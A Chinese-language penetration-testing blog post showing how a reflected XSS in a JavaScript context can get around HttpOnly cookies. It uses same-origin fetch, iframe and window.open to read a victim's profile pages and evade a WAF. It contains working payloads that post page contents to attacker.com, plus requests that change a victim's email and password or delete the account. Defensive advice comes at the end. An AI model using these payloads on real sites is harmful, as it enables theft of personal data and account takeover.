
前言
打了這麼久的滲透測試,也玩了很久的 XSS;自以為在滲透測試挖掘過許許多多的 XSS 漏洞,也有經過了 PortSwigger 的 Cross-site scripting (XSS) cheat sheet 洗禮。雖然也知道自己對 XSS 沒有到很進階熟悉,但原本以為許多技巧都略知一二。
發現有個有趣的小技巧我居然是現在才知道,來寫個文章記錄一下這個小技巧。
首先假設性的前提條件,我們合法授權的目標網站 :victim.hackercat.org
我在目標網站 victim.hackercat.org 上發現了一個反射型 XSS 漏洞。但當我準備用經典的 document.cookie 做出一個 alert 視窗顯示 session cookie 或偷取它時,發現它設了 HttpOnly ,所以 JavaScript 會完全讀不到內容。
HttpOnly 本來就是一種防禦 Cookie 被 JavaScript 操控的防禦技巧之一,所以許多資安檢測跟掃描都會建議 Session cookie 或含有機敏資料的 Cookie 需要加上 HttpOnly 屬性。但有些開發者(甚至部分資安人員)認為「有 HttpOnly 就不用擔心 XSS 偷 cookie,所以不用擔心 XSS 風險」,這句話的前半段本身沒錯,但如果你以為這代表 XSS 的威脅被消除了,那就大錯特錯了,也並不代表 XSS 沒辦法利用其他方式來去繞過使用 session cookie。
這篇文章記錄了這次學習了 Same-Origin Fetch 技巧,在不需要竊取 cookie 的情況下,達到等同 session hijacking 的效果,直接以受害者的身份讀取個人資訊頁面,並將資料外傳到攻擊者的伺服器。
也補充一下之前有發文過 XSS 練習的文章:無止盡的 XSS:挑戰與練習平台整理
XSS 真的是也挺有趣的漏洞,利用方式、繞過方式,都非常的多樣跟特別。
第一步:找到 XSS 入口
假設在目標網站 victim.hackercat.org 上的搜尋功能發現了一個 XSS 漏洞。
在搜尋功能 /search?q= 中,使用者的搜尋關鍵字被直接嵌入行內 JavaScript (gtag追蹤碼) 中,沒有做任何 JavaScript 轉義:
// 伺服器端產生的行內 JavaScriptgtag('event', 'search', { search_term : 'USER_INPUT' });Code language: JSON / JSON with Comments (json)
注意這裡是 JavaScript 上下文,不是 HTML 上下文。
所以傳統的 HTML 標籤型 XSS payload 像 <script>alert(1)</script> 完全不需要,我們只要用單引號 ' 跳脫字串就行:
https://victim.hackercat.org/search?q=test'});alert(document.domain);//Code language: JavaScript (javascript)
伺服器產生的 JavaScript 變成:
gtag('event', 'search', { search_term : 'test'});alert(document.domain);//' });Code language: JavaScript (javascript)
拆解一下這個 payload:
| 片段 | 作用 |
|---|---|
test' | 關閉原本的字串 |
}); | 關閉 gtag() 的物件和函式呼叫 |
alert(document.domain); | 注入的 JavaScript |
// | 註解掉後面的原始程式碼,避免語法錯誤 |
第二步:問題的起點 – HttpOnly 擋住了 Cookie 竊取
前面第一步其實重點只在於說發現了一個 XSS,是甚麼類型的 XSS 不用特別去管也沒關係。
確認 XSS 可以執行之後,第一反應當然是 alert 彈出視窗來驗證一下。
那如果要偷 session cookie 的話,傳統 XSS 攻擊的經典 payload 是:
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;Code language: JavaScript (javascript)
這會把受害者的 session cookie 偷走,攻擊者拿到 cookie 就能在自己的電腦上冒充受害者。
但 victim.hackercat.org 的重要 session cookie ASP.NET_SessionId 已經設了 HttpOnly 屬性防禦。
關鍵的 HttpOnly 標記意味著 document.cookie 回傳的結果不會包含 ASP.NET_SessionId。
所以因為 HttpOnly 的關係,document.cookie 回傳的值裡面沒有 ASP.NET_SessionId。攻擊者拿不到 session cookie,就沒辦法在攻擊者自己的電腦上冒充受害者。
Set-Cookie: ASP.NET_SessionId=xxx; path=/; HttpOnly; SameSite=Lax; SecureCode language: JavaScript (javascript)
到這裡可能會覺得「那 XSS 的威脅就有限了」。但真的是這樣嗎?
第三步:Same-Origin Fetch – 不需要偷 Cookie
核心觀念
你不需要「偷」cookie,你只需要「用」它。
當 XSS 在 victim.hackercat.org 上執行時,它跟這個網站的正常 JavaScript 沒有任何區別(同一個 origin)。瀏覽器發送 fetch() 或 XMLHttpRequest 時,會自動附帶所有 cookie(包括 HttpOnly 的),因為這是 same-origin 請求。因為 HttpOnly 阻止的是「JavaScript 讀取 cookie 的值」,而不是「瀏覽器在請求中自動帶上 cookie」。
這是一個很重要但常被忽略的區別:
HttpOnly 保護的是:document.cookie → 看不到 session cookie 的值
HttpOnly 不保護的是:fetch('/profile') → 瀏覽器自動帶上 session cookieCode language: JavaScript (javascript)
所以攻擊思路變成:不偷 cookie,直接在受害者的瀏覽器裡用 fetch() 幫受害者發請求,讀取回應,然後外傳。
攻擊流程
受害者點擊含 XSS 的惡意連結
↓
瀏覽器載入 victim.hackercat.org/search?q=XSS_PAYLOAD
↓
XSS 在 victim.hackercat.org 的 origin 下執行
↓
fetch('/profile')
→ 瀏覽器自動附帶 HttpOnly 的 session cookie
→ 伺服器收到合法的認證請求(跟使用者自己開頁面一模一樣)
→ 回傳完整個人資訊頁面
↓
XSS 拿到完整 HTML response → 解析出個人資料 → 外傳到攻擊者伺服器Code language: JavaScript (javascript)
Payload
// 在 victim.hackercat.org 上執行
// 瀏覽器自動帶上 ASP.NET_SessionId — 即使 JS 看不到它的值
fetch('/profile')
.then(r => r.text())
.then(html => {
// html 是 /profile 頁面的完整 HTTP response body
// 跟使用者自己在瀏覽器「檢視原始碼」看到的內容一模一樣
fetch('https://attacker.com/collect', {
method: 'POST',
body: html
});
});Code language: JavaScript (javascript)
攻擊者的伺服器會收到什麼?就是 /profile 頁面的完整 HTML — 包含姓名、email、電話、地址,以及頁面上所有隱藏欄位和 JavaScript 變數中的資料。(因為這個是受害者使用了自己的session cookie去訪問了 /profile 頁面的內容回傳給攻擊者的)
完整的 XSS Payload URL
https://victim.hackercat.org/search?q=test'});fetch('/profile').then(r=>r.text()).then(t=>{fetch('https://attacker.com/c',{method:'POST',body:t})});//Code language: JavaScript (javascript)
伺服器產生的 JavaScript:
gtag('event', 'search', { search_term : 'test'});
fetch('/profile').then(r=>r.text()).then(t=>{
fetch('https://attacker.com/c',{method:'POST',body:t})
});//' });Code language: JavaScript (javascript)
跟傳統 Cookie 竊取(Session Hijacking)的比較
| 傳統 Cookie 竊取 | Same-Origin Fetch | |
|---|---|---|
| 需要讀取 cookie? | 需要 document.cookie | 不需要 |
| HttpOnly 能擋? | ✅ 能擋 | ❌ 擋不住 |
| 攻擊者在哪操作? | 攻擊者自己的電腦(拿到 cookie 後) | 受害者的瀏覽器內(即時) |
| 攻擊持續時間 | 直到 session 過期 | 僅限受害者停留在頁面的時間 |
| 最終效果 | 完全控制 session | 等同 session hijacking |
| IP 來源 | 攻擊者的 IP | 受害者的 IP(更難追蹤) |
值得注意的是,Same-Origin Fetch 有一個「優勢」是傳統 cookie 竊取沒有的:請求來自受害者的 IP。從伺服器的 access log 來看,這些請求跟使用者正常瀏覽完全一樣,更難被偵測。
延伸:遇到 WAF 攔截 – Sec-Fetch-Mode 與繞過
問題:WAF 攔截了 fetch 請求
雖然上面內容已經是足以應付有 HttpOnly 屬性的 session cookie。但剛好這次也遇到了另一個有趣的事情,就是測試時發現 WAF 攔截了 fetch('/profile') 的請求,回傳 403。分析後,發現(猜測) WAF 是透過 Sec-Fetch-Mode 這個 HTTP header 來判斷的;但也有可能是透過其他 HTTP header 或特徵來判斷。
主要猜測,因為上述方式使用 fetch() 時,會帶上 HTTP header Sec-Fetch-Mode: cors(fetch 預設是 cors mode,跟正常頁面導航的 navigate 不同)。
什麼是 Sec-Fetch-Mode?
Sec-Fetch-Mode 是瀏覽器自動加上的 request header,屬於 Fetch Metadata 規範。它的值由瀏覽器根據請求的發起方式自動決定,JavaScript 無法修改或偽造(屬於 forbidden header)。
不同的請求方式會產生不同的值:
| 請求方式 | Sec-Fetch-Mode | Sec-Fetch-Dest |
|---|---|---|
| 使用者點連結 / 網址列輸入 | navigate | document |
<iframe src="..."> | navigate | iframe |
fetch() | cors | empty |
XMLHttpRequest | cors | empty |
<img src="..."> | no-cors | image |
<script src="..."> | no-cors | script |
由於無法輕易修改偽造,WAF 的阻擋邏輯也就很合理:正常使用者存取 /profile 時,Sec-Fetch-Mode 一定是 navigate。如果是 cors,代表這是一個 AJAX 請求 — 正常的頁面導航不會產生這種請求,很可能是異常行為。
繞過方法 A:使用 jQuery $.get()
假設目標網站已經載入了 jQuery 3.6.0。$.get() 底層走的是 XMLHttpRequest,它的 Sec-Fetch-Mode 也是 cors,但其他 header 可能跟 fetch() 不同(例如 X-Requested-With: XMLHttpRequest),有機會讓 WAF 的規則匹配方式不同:
$.get('/profile', function(html) {
$.post('https://attacker.com/collect', {data: html});
});Code language: JavaScript (javascript)
繞過方法 B:使用 iframe 注入
var f = document.createElement('iframe');
f.style.display = 'none';
f.src = '/profile';
f.onload = function() {
var data = f.contentDocument.body.innerHTML;
new Image().src = 'https://attacker.com/c?d=' + btoa(data);
};
document.body.appendChild(f);Code language: JavaScript (javascript)
iframe 載入頁面時的 Sec-Fetch-Mode 是 navigate — 跟使用者正常點連結一樣。WAF 比較不可能攔截這個請求,因為無法區分這是使用者正常瀏覽還是 XSS 注入的 iframe。
而且因為 iframe 和父頁面是 same-origin,父頁面的 JavaScript 可以直接用 f.contentDocument 存取 iframe 裡的 DOM 內容,完全沒有跨域限制。
唯一的差異是 Sec-Fetch-Dest 是 iframe 而非 document,但 WAF 可能比較不會擋 iframe,因為太多正常網站功能依賴 iframe。
繞過方法 C:使用 window.open() + 讀取
var w = window.open('/profile');
setTimeout(function() {
var data = w.document.body.innerHTML;
fetch('https://attacker.com/c', {method:'POST', body:data});
w.close();
}, 2000);Code language: JavaScript (javascript)
也是 navigate mode,但會彈出新視窗,可能被 popup blocker 擋住,實戰中不太推薦。
三種方式的比較
| 方式 | Sec-Fetch-Mode | 繞過 WAF | 隱蔽性 | 缺點 |
|---|---|---|---|---|
fetch() | cors | ❌ 被攔截 | 高 | WAF 可偵測 |
jQuery $.get() | cors | ⚠️ 可能 | 高 | 需要網站已載入 jQuery |
| iframe | navigate | ✅ 繞過 | 最高 | 無明顯缺點 |
window.open() | navigate | ✅ 繞過 | 低 | 彈窗可能被 blocker 擋 |
進階:多頁面連鎖竊取
實戰中受害者的敏感資料通常分散在多個頁面。XSS payload 可以依序讀取多個頁面:
// 先讀取個人資訊頁面列表
fetch('/member/profile').then(r => r.text()).then(profileHtml => {
// 再讀取個人詳細資料
fetch('/member/detail').then(r => r.text()).then(detailHtml => {
// 還可以讀取其他頁面...
var stolen = {
profile: profileHtml,
detail: detailHtml
};
// 一次外傳所有資料
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(stolen)
});
});
});Code language: JavaScript (javascript)
用 iframe 方式做多頁面竊取:
function stealPage(url) {
return new Promise(function(resolve) {
var f = document.createElement('iframe');
f.style.display = 'none';
f.src = url;
f.onload = function() {
resolve(f.contentDocument.body.innerHTML);
f.remove();
};
document.body.appendChild(f);
});
}
Promise.all([
stealPage('/member/profile'),
stealPage('/member/detail')
]).then(function(pages) {
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({profile: pages[0], detail: pages[1]})
});
});Code language: JavaScript (javascript)
註記:用 r.text() 它只能取得該 HTTP response body;無法直接取得頁面載入後由其他 API 動態產生的 DOM、執行期變數或 closure 內資料。
不只是讀取 – XSS 還能做什麼
這邊也補充紀錄,Same-Origin Fetch 不只能「讀」,還能「寫」。因為請求自動帶上 session cookie,攻擊者可以以受害者的身份執行任何操作:
// 修改受害者的個人資料
fetch('/api/updateProfile', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com&phone=0900000000'
});
// 刪除受害者的資料
fetch('/api/deleteAccount', {method: 'POST'});
// 修改密碼(如果不需要舊密碼驗證)
fetch('/api/changePassword', {
method: 'POST',
body: 'newPassword=hacked123'
});Code language: JavaScript (javascript)
XSS 能做的事 = 受害者在瀏覽器裡能做的所有事。 HttpOnly 只擋住了「偷 cookie 到外部使用」這條路,但「在受害者瀏覽器內直接操作」這條路完全沒有被擋住。
使用這個技巧的時機
什麼時候需要用到 Same-Origin Fetch?
| 情境 | 該用嗎? |
|---|---|
| XSS 存在 + Cookie 沒有 HttpOnly | 不需要,直接偷 cookie 更簡單 |
| XSS 存在 + Cookie 有 HttpOnly | ✅ 用這個技巧 |
| XSS 存在 + 需要讀取頁面上的資料(不只是 cookie) | ✅ 用這個技巧(即使沒有 HttpOnly) |
| 想以受害者身份執行操作(CSRF-like) | ✅ 用這個技巧 |
其實即使 cookie 沒有設 HttpOnly,Same-Origin Fetch 往往還是比偷 cookie 更有效 — 因為你不只是拿到 session,而是直接拿到資料本身。
防禦建議
能擋住 Same-Origin Fetch 的防禦
| 防禦機制 | 效果 | 說明 |
|---|---|---|
| 修復 XSS(輸出編碼) | ✅ 根本修復 | 沒有 XSS 就沒有後續攻擊 |
| Content Security Policy (CSP) | ✅ 最有效的緩解 | script-src 'self' 阻止 inline script 執行 |
| WAF Sec-Fetch-Mode 檢查 | ⚠️ 部分有效 | 只擋 fetch()/XHR,iframe 繞過 |
| X-Frame-Options | ⚠️ 部分有效 | DENY 的防禦可防 iframe 方式 |
擋不住 Same-Origin Fetch 的防禦
| 防禦機制 | 為什麼擋不住 |
|---|---|
| HttpOnly Cookie | 只擋 document.cookie 讀取,不擋瀏覽器自動附帶 cookie |
| SameSite Cookie | SameSite 管的是跨站請求,same-origin fetch 不受限制 |
| CORS | CORS 管的是跨 origin 請求,同 origin 完全不受限 |
| CSRF Token | XSS 可以先讀取頁面取得 token,再帶上 token 發請求 |
